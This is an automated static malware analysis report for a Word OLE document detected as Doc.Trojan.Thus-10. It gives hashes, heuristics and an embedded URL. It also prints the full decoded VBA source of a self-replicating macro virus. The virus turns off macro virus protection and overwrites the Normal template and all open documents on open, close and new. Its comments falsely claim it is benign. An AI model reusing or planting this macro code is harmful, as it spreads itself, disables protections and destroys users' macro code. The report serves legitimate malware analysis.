Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6192b87a032cd70e…

MALICIOUS

Office (OLE)

43.0 KB Created: 2009-02-27 05:24:00 Authoring application: Microsoft Word 11.5.0 First seen: 2015-08-19
MD5: 73b7754d64f6601eb7e3443830c0d470 SHA-1: a28cc4624951e69d0da67be003559eab960d712c SHA-256: 6192b87a032cd70ef066afce058dc03bb4f4dd5cfbe731cb6d478b5cf3525507
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1553.005 Disable or Modify Tool Integrity

The sample contains VBA macros that attempt to disable macro protection and replicate themselves across documents and the Normal template. This behavior is indicative of a macro-based malware designed for propagation and evasion. The ClamAV detection name 'Doc.Trojan.Thus-10' further supports its malicious nature. The embedded URL is likely part of the malware's functionality, though its specific role is not detailed in the provided script excerpt.

Heuristics 5

  • ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-10
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Virus'" Then
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://tps.waynesburg.edu/TPS_LessonPlans/Dillow/index.doc In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2280 bytes
SHA-256: 7b4d7a86a4289e6b5611c68abfa26394fdbfb26dc5be06e7587d638a7af8ba68
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
'Anti-Virus'
' This virus is an alteration of a virus which was
' designed to delete all files from one's C: drive on Dec 13th.
' This code is completely benign.
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Virus'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
        .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
        .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
        .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    
    For k = 1 To Application.Documents.Count
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Virus'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        End If
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).CodeModule.CountOfLines)
        End If
    Next k
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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